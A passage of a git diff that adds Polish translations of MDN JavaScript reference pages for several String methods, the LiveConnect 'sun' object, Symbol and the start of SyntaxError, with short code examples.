<li>{{jsxref("String.prototype.substring()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/substring/index.html b/files/pl/web/javascript/referencje/obiekty/string/substring/index.html new file mode 100644 index 0000000000..5a446e0225 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/substring/index.html @@ -0,0 +1,90 @@ +--- +title: String.prototype.substring() +slug: Web/JavaScript/Referencje/Obiekty/String/substring +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/substring +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca podciąg obiektu <code>String</code>.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.substring(<var>indexA</var>[, <var>indexB</var>])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>indexA</code> </dt> + <dd>Liczba całkowita pomiędzy 0, a liczbą o jeden mniejszą niż długość łańcucha znaków.</dd> + <dt><code>indexB</code> </dt> + <dd>Opcjonalny. Liczba całkowita pomiędzy 0 i długością łańcucha znaków.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>substring</code> urywa znaki z <code>indexA</code> lecz nie włącza ich do <code>indexB</code>. W szczególności:</p> + +<ul> + <li>Jeśli <code>indexA</code> jest mniejsze niż 0, <code>indexA</code> zostanie potraktowany tak, jakby był 0.</li> + <li>Jeśli <code>indexB</code> jest większe niż <code>stringName.length</code>, <code>indexB</code> zostanie potraktowany tak, jakby był <code>stringName.length</code>.</li> + <li>Jeśli <code>indexA</code> jest równe <code>indexB</code>, <code>substring</code> zwraca pusty łańcuch znaków.</li> + <li>Jeśli <code>indexB</code> jest pominięty, <code>substring</code> urwie znaki znajdujące się na końcu łańcucha znaków.</li> +</ul> + +<p>Jeśli <code>indexA</code> jest większy niż <code>indexB</code>, JavaScript zwróci <code>substring(indexB, indexA)</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_substring" name="Przyk.C5.82ad:_Zastosowanie_substring">Przykład: Zastosowanie <code>substring()</code></h3> + +<p>Następujący przykład <code>substring</code> stosujemy do wyświetlenia znaków ze słowa "<code>Mozilla</code>":</p> + +<pre class="brush: js">var anyString = "Mozilla"; + +// Wyświetli "Moz" +console.log(anyString.substring(0,3)); +console.log(anyString.substring(3,0)); + +// Wyświetli "lla" +console.log(anyString.substring(4)); +console.log(anyString.substring(4,7)); +console.log(anyString.substring(7,4)); + +// Wyświetli "Mozill" +console.log(anyString.substring(0,6)); + +// Wyświetli "Mozilla" +console.log(anyString.substring(0,7)); +console.log(anyString.substring(0,10)); +</pre> + +<h3 id="Przyk.C5.82ad:_Zamina_podci.C4.85gu_wewn.C4.85trz_ci.C4.85gu" name="Przyk.C5.82ad:_Zamina_podci.C4.85gu_wewn.C4.85trz_ci.C4.85gu">Przykład: Zamiana podciągu wewnątrz ciągu</h3> + +<p>Następujący przykład zamienia podciąg wewnątrz ciągu. Zostaną zamienione oba poszczególne znaki i podciągi. Funkcja zostanie wywołana na koniec przykładu zmieniając łańcuch znaków; "<code>Brave New World</code>" na "<code>Brave New Web</code>".</p> + +<pre class="brush: js">function replaceString(oldS, newS, fullS) { +// Replaces oldS with newS in the string fullS + for (var i = 0; i < fullS.length; i++) { + if (fullS.substring(i, i + oldS.length) == oldS) { + fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length); + } + } + return fullS; +} + +replaceString("World", "Web", "Brave New World"); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.substr()")}}</li> + <li>{{jsxref("String.prototype.slice()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/sup/index.html b/files/pl/web/javascript/referencje/obiekty/string/sup/index.html new file mode 100644 index 0000000000..dbf33ea3ed --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/sup/index.html @@ -0,0 +1,45 @@ +--- +title: String.prototype.sup() +slug: Web/JavaScript/Referencje/Obiekty/String/sup +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/sup +--- +<p>{{JSRef}}{{deprecated_header}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Powoduje, iż łańcuch zostanie wyświetlony jako indeks górny tak jakby był wewnątrz znacznika {{HTMLElement("sup")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.sup()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>The <code>sup()</code> method embeds a string in a <code><sup></code> tag: <code>"<sup>str</sup>"</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h4 id="Przyk.C5.82ad:_Zastosowanie_metody_sub_i_sup_do_zmiany_formatu_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Zastosowanie_metody_sub_i_sup_do_zmiany_formatu_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Zastosowanie metody <code>sub()</code> i <code>sup()</code></h4> + +<p>Następujący przykład stosuje metodę {{jsxref("String.prototype.sub()", "sub()")}} i <code>sup()</code> do zmiany formatu łańcucha znaków:</p> + +<pre class="brush: js">var superText="superscript"; +var subText="subscript"; + +console.log("This is what a " + superText.sup() + " looks like."); +// This is what a <sup>superscript</sup> looks like + +console.log("This is what a " + subText.sub() + " looks like."); +// This is what a <sub>subscript</sub> looks like.</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.sub()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/tolowercase/index.html b/files/pl/web/javascript/referencje/obiekty/string/tolowercase/index.html new file mode 100644 index 0000000000..0b871b9ca6 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/tolowercase/index.html @@ -0,0 +1,40 @@ +--- +title: String.prototype.toLowerCase() +slug: Web/JavaScript/Referencje/Obiekty/String/toLowerCase +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/toLowerCase +--- +<p>{{jsref}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca wartość wywołującego łańcucha znaków, skonwertowaną na małe litery.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.toLowerCase()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>toLowerCase()</code> zwraca wartość łańcucha znaków skonwertowanego na małe litery. <code>toLowerCase()</code> nie wpływa na wartość samego łańcucha.</p> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<h4 id="Przyk.C5.82ad:_Zastosowanie_toLowerCase" name="Przyk.C5.82ad:_Zastosowanie_toLowerCase">Przykład: Zastosowanie <code>toLowerCase</code></h4> + +<p>Następujący przykład wyświetli łańcuch "<code>alfabet</code>" złożony z małych liter:</p> + +<pre class="brush: js">console.log('ALFABET'.toLowerCase()); // 'alfabet' +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li> + <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li> + <li>{{jsxref("String.prototype.toUpperCase()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/string/tosource/index.html new file mode 100644 index 0000000000..cb372d673c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/tosource/index.html @@ -0,0 +1,41 @@ +--- +title: String.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/String/toSource +tags: + - JavaScript + - Method + - Non-standard + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/toSource +--- +<p>{{JSRef}}{{non-standard_header}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków reprezentujący kod źródłowy obiektu.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>String.toSource() +<var>str</var>.toSource() +</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>toSource()</code> zwraca następujące wartości:</p> + +<ul> + <li>Dla wbudowanego obiektu {{jsxref("String")}}, <code>toSource()</code> zwraca następujący łańcuch znaków wskazujący, że kod źródłowy nie jest dostępny: + + <pre class="brush: js">function String() { + [natywny kod] +} +</pre> + </li> + <li>W przypadku obiektu {{jsxref("String")}} lub łańcuchów znaków, <code>toSource()</code> zwraca łańcuch znaków reprezentujący kod źródłowy.</li> +</ul> + +<p>Ta metoda jest w JavaScript wywoływana zazwyczaj wewnętrznie, nie bezpośrednio w kodzie.</p> + +<div class="noinclude"> </div> diff --git a/files/pl/web/javascript/referencje/obiekty/string/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/string/tostring/index.html new file mode 100644 index 0000000000..16028dff15 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/tostring/index.html @@ -0,0 +1,41 @@ +--- +title: String.protype.toString() +slug: Web/JavaScript/Referencje/Obiekty/String/toString +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/toString +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków reprezentujący dany obiekt.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.toString()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Obiekt {{jsxref("String")}} przesłania metodę <code>toString</code> obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektów {{jsxref("String")}}, metoda <code>toString()</code> zwraca łańcuch znaków reprezentujący obiekt.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_toString" name="Przyk.C5.82ad:_Zastosowanie_toString">Przykład: Zastosowanie <code>toString()</code></h3> + +<p>Następujący przykład wyświetli wartość łańcuch znaków obiektu {{jsxref("String")}}:</p> + +<pre class="brush: js">var x = new String("Witaj świecie"); + +console.log(x.toString()) // Wyświetla "Witaj świecie" +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toSource()")}}</li> + <li>{{jsxref("String.prototype.valueOf()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/touppercase/index.html b/files/pl/web/javascript/referencje/obiekty/string/touppercase/index.html new file mode 100644 index 0000000000..4b792076fe --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/touppercase/index.html @@ -0,0 +1,38 @@ +--- +title: String.prototype.toUpperCase() +slug: Web/JavaScript/Referencje/Obiekty/String/toUpperCase +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/toUpperCase +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca wartość wywołującego łańcucha znaków, skonwertowaną na duże litery.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.toUpperCase()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>toUpperCase()</code> zwraca wartość łańcucha znaków skonwertowanego na duże litery. <code>toUpperCase()</code> nie wpływa na wartość samego łańcucha.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_toUpperCase" name="Przyk.C5.82ad:_Zastosowanie_toUpperCase">Przykład: Zastosowanie <code>toUpperCase()</code></h3> + +<pre class="brush: js">console.log('alfabet'.toUpperCase()); // 'ALFABET' +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li> + <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li> + <li>{{jsxref("String.prototype.toLowerCase()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/string/valueof/index.html new file mode 100644 index 0000000000..1eda0e3021 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/valueof/index.html @@ -0,0 +1,40 @@ +--- +title: String.prototype.valueOf() +slug: Web/JavaScript/Referencje/Obiekty/String/valueOf +tags: + - JavaScript + - Method + - Property + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/valueOf +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca pierwotną wartość obiektu {{jsxref("String")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.valueOf()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>valueOf()</code> obiektu {{jsxref("String")}} zwraca pierwotną wartość obiektu {{jsxref("String")}} jako łańcuch znaków. Ta wartość jest równoważna do {{jsxref("String.prototype.toString()")}}.</p> + +<p>Ta metoda jest w JavaScript wywoływana zazwyczaj wewnętrznie, nie bezpośrednio w kodzie.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_valueOf" name="Przyk.C5.82ad:_Zastosowanie_valueOf">Przykład: Zastosowanie <code>valueOf()</code></h3> + +<pre class="brush: js">var x = new String("Witaj świecie"); +console.log(x.valueOf()); // Wyświetla "Witaj świecie" +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.toString()")}}</li> + <li>{{jsxref("Object.prototype.valueOf()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/sun/index.html b/files/pl/web/javascript/referencje/obiekty/sun/index.html new file mode 100644 index 0000000000..8bf832b3e5 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/sun/index.html @@ -0,0 +1,29 @@ +--- +title: sun +slug: Web/JavaScript/Referencje/Obiekty/sun +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/sun +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><b>Obiekt główny</b> +</p><p>Obiekt najwyższego poziomu używany do korzystania z klas języka Java z pakietu <code>sun.*</code>. +</p> +<h3 id="Tworzony_przez" name="Tworzony_przez"> Tworzony przez </h3> +<p>Obiekt <code>sun</code> w języku JavaScript jest predefiniowanym obiektem najwyższego poziomu. Nie ma potrzeby stosowania konstruktora lub wywoływania jakiejkolwiek metody by z niego korzystać. +</p> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Obiekt <code>sun</code> jest synonimem dla własności <code>Packages.sun</code>. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/sun">Packages.sun</a> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/sun", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/sun" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/symbol/index.html b/files/pl/web/javascript/referencje/obiekty/symbol/index.html new file mode 100644 index 0000000000..4124cb2a46 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/symbol/index.html @@ -0,0 +1,227 @@ +--- +title: Symbol +slug: Web/JavaScript/Referencje/Obiekty/Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol +--- +<div>{{JSRef}}</div> + +<p>Funkcja <code>Symbol()</code> zwraca wartość typu <strong>symbol</strong>, posiada statyczne własności wystawiające kilka wartości używanych we wbudowanych obiektach, posiada statyczne metody wystawiające globalny rejestr symboli i przypomina wbudowaną klasę obiektu, jest jednak niekompletna jako konstruktor ponieważ nie wspiera składni "<code>new Symbol()</code>". </p> + +<p>Każdy symbol zwrócony przez <code>Symbol()</code> jest unikalny. Symbol powinien być użyty jako identyfikator własności obiektu, został zaprojektowany jedynie w tym celu. Pełniejsze wyjaśnienie dotyczące jego przeznaczenia i użycia można znaleźć w <a href="/en-US/docs/Glossary/Symbol">poświęconym mu wpisie w glosariuszu</a>.</p> + +<p>Typ <strong>symbol</strong> jest {{Glossary("Primitive", "typem prostym")}}.</p> + +<div>{{EmbedInteractiveExample("pages/js/symbol-constructor.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">Symbol(<em>[opis]</em>)</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>opis</code> {{optional_inline}}</dt> + <dd>Ciąg znaków, parametr opcjonalny. Opis symbolu, może być użyty do debugowania, ale nie do dostania się do samego symbolu.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Aby stworzyć nowy symbol należy użyć funkcji <code>Symbol()</code>, opcjonalnie przekazując jej opisowy ciąg znaków:</p> + +<pre class="brush: js">var sym1 = Symbol(); +var sym2 = Symbol('foo'); +var sym3 = Symbol('foo'); +</pre> + +<p>Powyższy kod tworzy trzy nowe symbole. Należy zwrócić uwagę, że <code>Symbol("foo")</code> nie konwertuje ciągu znaków "foo" na symbol, tylko tworzy za każdym razem nowy symbol:</p> + +<pre class="brush: js">Symbol('foo') === Symbol('foo'); // false</pre> + +<p>Następująca składnia z operatorem {{jsxref("Operators/new", "new")}} spowoduje wyjątek {{jsxref("TypeError")}}:</p> + +<pre class="brush: js">var sym = new Symbol(); // TypeError</pre> + +<p>Dzieje się tak dlatego żeby powstrzymać programistów przed opakowywaniem wartości symboli w obiekty i może być zaskakujące, gdyż tworzenie opakowanych wartości dla typów prostych jest zazwyczaj możliwe (na przykład <code>new Boolean</code>, <code>new String</code> i <code>new Number</code>).</p> + +<p>Jeśli stworzenie opakowanego symbolu jest dokładnie tym czego chce programista, może do tego użyć funkcji <code>Object()</code>:</p> + +<pre class="brush: js">var sym = Symbol('foo'); +typeof sym; // "symbol" +var symObj = Object(sym); +typeof symObj; // "object" +</pre> + +<h3 id="Symbole_współdzielone_w_globalnym_rejestrze_symboli">Symbole współdzielone w globalnym rejestrze symboli</h3> + +<p>Powyższa składnia używająca funkcji <code>Symbol()</code> nie stworzy globalnego symbolu, który będzie dostępny w całym kodzie. Aby stworzyć symbol dostępny między plikami, a nawet między sferami (z których każda ma swoją globalną przestrzeń) należy użyć metody {{jsxref("Symbol.for()")}}. Z kolei metody {{jsxref("Symbol.keyFor()")}} można użyć aby uzyskać nazwę globalnego klucza dla posiadanego symbolu.</p> + +<h3 id="Znajdowanie_własności_indeksowanych_symbolami_na_obiekcie">Znajdowanie własności indeksowanych symbolami na obiekcie</h3> + +<p>Metoda {{jsxref("Object.getOwnPropertySymbols()")}} zwraca tablicę symboli i pozwala znaleźć własności indeksowane symbolami na danym obiekcie. Każdy obiekt jest inicjowany bez takich własności, więc metoda ta zwróci pustą tablicę do czasu ustawienia na obiekcie własności pod kluczem typu symbol.</p> + +<h2 id="Własności">Własności</h2> + +<dl> + <dt><code>Symbol.length</code></dt> + <dd>Własność length której wartością jest 0.</dd> + <dt>{{jsxref("Symbol.prototype")}}</dt> + <dd>Reprezentuje prototyp konstruktora <code>Symbol</code>.</dd> +</dl> + +<h3 id="Znane_symbole">Znane symbole</h3> + +<p>Oprócz symboli zdefiniowanych przez programistę, JavaScript posiada wbudowane symbole reprezentujące wewnętrzne mechanizmy języka, które nie były widoczne dla programisty w wersji ECMAScript 5 i wcześniejszych. Dostęp do tych symboli jest możliwy za pomocą następujących własności statycznych:</p> + +<h4 id="Symbole_iteracji">Symbole iteracji</h4> + +<dl> + <dt>{{jsxref("Symbol.iterator")}}</dt> + <dd>Metoda zwracająca domyślny iterator dla obiektu. Używana przez <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for...of</code></a>.</dd> + <dt>{{jsxref("Symbol.asyncIterator")}} {{experimental_inline}}</dt> + <dd>Metoda zwracająca domyślny asynchroniczny iterator dla obiektu. Używana przez <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for-await-of"><code>for await of</code></a>.</dd> +</dl> + +<h4 id="Symbole_wyrażeń_regularnych">Symbole wyrażeń regularnych</h4> + +<dl> + <dt>{{jsxref("Symbol.match")}}</dt> + <dd>Metoda dopasowująca dla ciągu znaków, używana również dla określenia czy obiekt może zostać użyty jako wyrażenie regularne. Używana przez {{jsxref("String.prototype.match()")}}.</dd> + <dt>{{jsxref("Symbol.replace")}}</dt> + <dd>Metoda zastępująca dopasowany ciąg w ciągu znaków. Używana przez {{jsxref("String.prototype.replace()")}}.</dd> + <dt>{{jsxref("Symbol.search")}}</dt> + <dd>Metoda zwracająca indeks początku ciągu znaków który został dopasowany do wyrażenia regularnego. Używana przez {{jsxref("String.prototype.search()")}}.</dd> + <dt>{{jsxref("Symbol.split")}}</dt> + <dd>Metoda dzieląca łańcuch znaków w miejscu w którym został dopasowany do wyrażenia regularnego. Używana przez {{jsxref("String.prototype.split()")}}.</dd> +</dl> + +<h4 id="Pozostałe_symbole">Pozostałe symbole</h4> + +<dl> + <dt>{{jsxref("Symbol.hasInstance")}}</dt> + <dd>Metoda określająca czy konstruktor rozpoznaje obiekt jako swoją instancję. Używana przez {{jsxref("Operators/instanceof", "instanceof")}}.</dd> + <dt>{{jsxref("Symbol.isConcatSpreadable")}}</dt> + <dd>Wartość logiczna określająca czy obiekt powinien zostać spłaszczony do jego elementów tablicy. Używana przez {{jsxref("Array.prototype.concat()")}}.</dd> + <dt>{{jsxref("Symbol.unscopables")}}</dt> + <dd>Wartość obiektu którego własne i dziediczone nazwy własności są wykluczone ze środowiska <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code> powiązanego obiektu.</dd> + <dt>{{jsxref("Symbol.species")}}</dt> + <dd>Funkcja konstruktora używana do tworzenia obiektów wywodzących się z danego.</dd> + <dt>{{jsxref("Symbol.toPrimitive")}}</dt> + <dd>Metoda konwertująca obiekt na typ prosty.</dd> + <dt>{{jsxref("Symbol.toStringTag")}}</dt> + <dd>Ciąg znaków używany dla domyślnego opisu obiektu. Używany przez {{jsxref("Object.prototype.toString()")}}.</dd> +</dl> + +<h2 id="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("Symbol.for()", "Symbol.for(key)")}}</dt> + <dd>Szuka istniejącego symbolu o podanym kluczu i zwraca go, jeśli został znaleziony. W przeciwnym razie w globalnym rejestrze tworzony jest nowy symbol o podanym kluczu i również zwracany.</dd> + <dt>{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}</dt> + <dd>Zwraca klucz w globalnym rejestrze zapisany dla danego symbolu.</dd> +</dl> + +<h2 id="Symbol_prototype"><code>Symbol</code> prototype</h2> + +<p>Wszystkie symbole dziecidzą po {{jsxref("Symbol.prototype")}}.</p> + +<h3 id="Własności_2">Własności</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Properties')}}</p> + +<h3 id="Metody_2">Metody</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Methods')}}</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_operatora_typeof_z_symbolami">Używanie operatora <code>typeof</code> z symbolami</h3> + +<p>Operator {{jsxref("Operators/typeof", "typeof")}} może pomóc w identyfikacji symboli.</p> + +<pre class="brush: js">typeof Symbol() === 'symbol' +typeof Symbol('foo') === 'symbol' +typeof Symbol.iterator === 'symbol' +</pre> + +<h3 id="Konwersje_typu_symbol">Konwersje typu symbol</h3> + +<ul> + <li>Podczas próby konwersji symbolu na liczbę zostanie rzucony wyjątek {{jsxref("TypeError")}}.<br> + (np. <code>+sym</code> lub <code>sym | 0</code>).</li> + <li>Przy porównaniu z pominięciem typu <code>Object(sym) == sym</code> zwraca <code>true.</code></li> + <li><code>Symbol("foo") + "bar" </code>wyrzuci {{jsxref("TypeError")}} (nie można skonwertować symbolu na ciąg znaków). Służy to powstrzymaniu programisty na przykład przed stworzeniem nowej nazwy własności z użyciem symbolu.</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#String_conversion">"Bezpieczniejsza" konwersja <code>String(sym)</code></a> działa jak wywołanie {{jsxref("Symbol.prototype.toString()")}} ale należy mieć na uwadze, że <code>new String(sym)</code> rzuci wyjątkiem.</li> +</ul> + +<h3 id="Symbole_i_iteracja_for...in">Symbole i iteracja <code>for...in</code></h3> + +<p>Symbole nie są iterowalne w pętlach <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a>. Dodatkowo, {{jsxref("Object.getOwnPropertyNames()")}} nie zwróci własności obiektu zapisanych pod kluczem którym jest symbol, do tego celu można użyć {{jsxref("Object.getOwnPropertySymbols()")}}.</p> + +<pre class="brush: js">var obj = {}; + +obj[Symbol('a')] = 'a'; +obj[Symbol.for('b')] = 'b'; +obj['c'] = 'c'; +obj.d = 'd'; + +for (var i in obj) { + console.log(i); // loguje "c" i "d" +}</pre> + +<h3 id="Symbole_i_JSON.stringify()">Symbole i <code>JSON.stringify()</code></h3> + +<p>Własności obiektu znajdujące się pod kluczem w postaci symbolu są ignorowane przez <code>JSON.stringify()</code>:</p> + +<pre class="brush: js">JSON.stringify({[Symbol('foo')]: 'foo'}); +// '{}'</pre> + +<p>Żeby dowiedzieć się więcej zobacz {{jsxref("JSON.stringify()")}}.</p> + +<h3 id="Symbole_opakowane_w_obiekty_jako_klucze_własności">Symbole opakowane w obiekty jako klucze własności</h3> + +<p>Gdy symbol opakowany w obiekt jest użyty jako klucz własności, obiekt opakowujący zostanie skonwertowany do symbolu który opakowuje:</p> + +<pre class="brush: js">var sym = Symbol('foo'); +var obj = {[sym]: 1}; +obj[sym]; // 1 +obj[Object(sym)]; // nadal 1 +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-symbol-objects', 'Symbol')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Wstępna definicja</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-symbol-objects', 'Symbol')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + + + +<p>{{Compat("javascript.builtins.Symbol")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Glossary/Symbol">Glosariusz: typ Symbol</a></li> + <li>{{jsxref("Operators/typeof", "typeof")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Data_structures">Typy i struktury danych</a></li> + <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/">"ES6 In Depth: Symbols" na hacks.mozilla.org</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/syntaxerror/index.html b/files/pl/web/javascript/referencje/obiekty/syntaxerror/index.html new file mode 100644 index 0000000000..c8a65cd46b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/syntaxerror/index.html @@ -0,0 +1,100 @@ +--- +title: SyntaxError +slug: Web/JavaScript/Referencje/Obiekty/SyntaxError +tags: + - Błąd składniowy + - JavaScript + - Klasa + - Obiekt + - Referencja + - SyntaxError +translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError +--- +<div>{{JSRef}}</div> + +<p>Obiekt <code><strong>SyntaxError</strong></code> reprezentuje błąd przy próbie interpretacji kodu niepoprawnego pod względem składni. Jest wyrzucany wtedy, gdy silnik JavaScript podczas interpretacji kodu napotyka znak lub ciąg znaków niezgodny ze składnią języka.</p> + +<h2 id="Konstruktor">Konstruktor</h2> + +<dl> + <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError/SyntaxError"><code>SyntaxError()</code></a></dt> + <dd>Tworzy nowy obiekt <code>SyntaxError</code>.</dd> +</dl> + +<h2 id="Właściwości_instancji">Właściwości instancji</h2> + +<dl> + <dt>{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}</dt> + <dd>Wiadomość błędu. Chociaż ECMA-262 mówi, że {{jsxref("SyntaxError")}} powinien dostarczać własną właściwość <code>message</code>, w <a 